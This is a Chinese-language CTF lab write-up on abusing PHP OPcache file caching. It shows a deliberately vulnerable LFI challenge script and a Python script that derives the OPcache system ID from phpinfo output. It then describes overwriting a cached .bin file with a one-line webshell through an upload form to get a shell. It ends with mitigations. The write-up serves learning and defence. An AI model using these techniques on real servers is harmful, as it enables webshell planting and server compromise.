opcache缓存利用

什么是opcache

opencache是一种php7自带的缓存引擎,它将编译过一遍的的php脚本以字节码文件的形式缓存在特定目录中(在php.ini中指定)。这样节省了每次访问同一脚本都要加载和解析的时间开销。(先检查有没有bin文件有就直接用)

项目github地址

一:opcache缓存+文件包含

靶机:lewiserii/php7-opcache-include

例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
error_reporting(0);

//I heard you are good at PHPINFO+LFI, flag is in flag.php, find it my dear noob vegetable hacker.
if ( isset($_GET['file']) ) {
$file = $_GET['file'];

if ( $file === "phpinfo" ) {

phpinfo();
exit;
}

if ( preg_match('/proc/i' , $file) ) {
die("private");
}

$file = "/var/www/html/" . $file;
$content = file_get_contents($file);

if ( !$content ) {
die("nothing");
}

if ( preg_match("/script|<\?/i", $content) ) {
die("bypass me");
}

include_once $file;

} else {
highlight_file(__FILE__);
}

看下opcache的状态是开启还是关闭的

从上图可以得出结论,在/var/www/cache/下存在着PHP的缓存文件,其完整的绝对路径是/var/www/cache/[一个 md5]/var/www/html/flag.php.bin

如果要包含文件的话就要知道路径中的md5值,查阅资料可知,这个md5被称为 system id,它的计算算法是固定的,由php版本号、zend extension id、Zend Bin ID,这三样拼接起来md5即可,而这3种东西正好全都在phpinfo里可以拿到,可以使用该脚本一键计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python2

# Copyright (c) 2016, 2019 GoSecure Inc.

import sys
from packaging import version
import re
import requests

def md5(data):
if type(data) is str:
data = bytes(data, encoding='utf-8')
return __import__('hashlib').md5(data).hexdigest()

if len(sys.argv) != 2:
print(sys.argv[0] + " [file|URL]")
exit(0)

if (sys.argv[1].startswith("http")):
text = requests.get(sys.argv[1]).text
else:
with open(sys.argv[1]) as file:
text = file.read()
file.close()

# PHP Version
php_version = re.search('<tr><td class="e">PHP Version </td><td class="v">(.*) </td></tr>', text)

if php_version == None:
php_version = re.search('<h1 class="p">PHP Version (.*)', text)

if php_version == None:
print("No PHP version found, is this a phpinfo file?")
exit(0)

php_version = php_version.group(1)
php_greater_74 = (version.parse("7.4.0") < version.parse(php_version.split("-")[0]))
# Zend Extension Build ID
zend_extension_id = re.search('<tr><td class="e">Zend Extension Build </td><td class="v">(.*) </td></tr>', text)
if zend_extension_id == None:
print("No Zend Extension Build found.")
exit(0)
zend_extension_id = zend_extension_id.group(1)

# Architecture
architecture = re.search('<tr><td class="e">System </td><td class="v">(.*) </td></tr>', text)
if architecture == None:
print("No System info found.")
exit(0)
architecture = architecture.group(1).split()[-1]

# Zend Bin ID suffix
if architecture == "x86_64":
bin_id_suffix = "48888"
else:
bin_id_suffix = "44444"

# With PHP 7.4 they fixed the undefined macro that did the weird bin ID
if php_greater_74:
zend_bin_id = "BIN_" + bin_id_suffix
else:
zend_bin_id = "BIN_SIZEOF_CHAR" + bin_id_suffix

# Alternate Bin ID, see #5
if not php_greater_74:
if architecture == "x86_64":
alt_bin_id_suffix = "148888"
else:
alt_bin_id_suffix = "144444"

alt_zend_bin_id = "BIN_" + alt_bin_id_suffix


# Logging
print("PHP version : " + php_version)
print("Zend Extension ID : " + zend_extension_id)
print("Zend Bin ID : " + zend_bin_id)
print("Assuming " + architecture + " architecture")

digest = md5(php_version + zend_extension_id + zend_bin_id)
print("------------")
print("System ID : " + digest)

if not php_greater_74:
alt_digest = md5(php_version + zend_extension_id + alt_zend_bin_id)
print("PHP lower than 7.4 detected, an alternate Bin ID is possible:")
print("Alternate Zend Bin ID : " + alt_zend_bin_id)
print("Alternate System ID : " + alt_digest)

得到System ID : 0b8bd94e9858e5d32d058dc0acf75014

包含flag.php.bin即可

二:opcache缓存+文件上传

靶机:lewiserii/php7-opcache-upload //关闭时间戳验证

首页是个文件上传点,可以自定义上传目录,简单测试后发现/var/www/html目录没有权限

同时给了个phpinfo.php,查看opcache状态,发现是启用状态,直接跑脚本算system id

满足这几个条件就可以上传木马bin文件到缓存目录,覆盖后达到getshell的目的

得到缓存目录为/tmp/opcache/0b8bd94e9858e5d32d058dc0acf75014/var/www/html

本地搭建一个opcache环境,写上一句话木马,把生成的index.php.bin拿下来

将图中红框部分的本地system id替换成靶机算出来的system id

上传

再次访问index.php,发现内容已被覆盖

三:修复方式

file_cache_only

如果内存缓存方式的优先级高于文件缓存,那么重写后的 OPcache 文件(webshell)是不会被执行的。但是,当 Web 服务器重启后,就可以绕过此限制。因为,当服务器重启之后,内存中的缓存为空,此时,OPcache 会使用文件缓存的数据填充内存缓存的数据,这样,webshell 就可以被执行了。

validate_timestamp

opcache.validate_timestamps=1时,bin文件在创建时会在文件内容中写入一个时间戳,这个时间戳跟源文件一样,在执行bin文件之前php会检查时间戳是否一致,如果不一致则丢弃重新创建bin文件。


opcache缓存利用
https://www.dr0n.top/posts/3b0128e6/
作者
dr0n
发布于
2022年8月26日
更新于
2024年3月21日
许可协议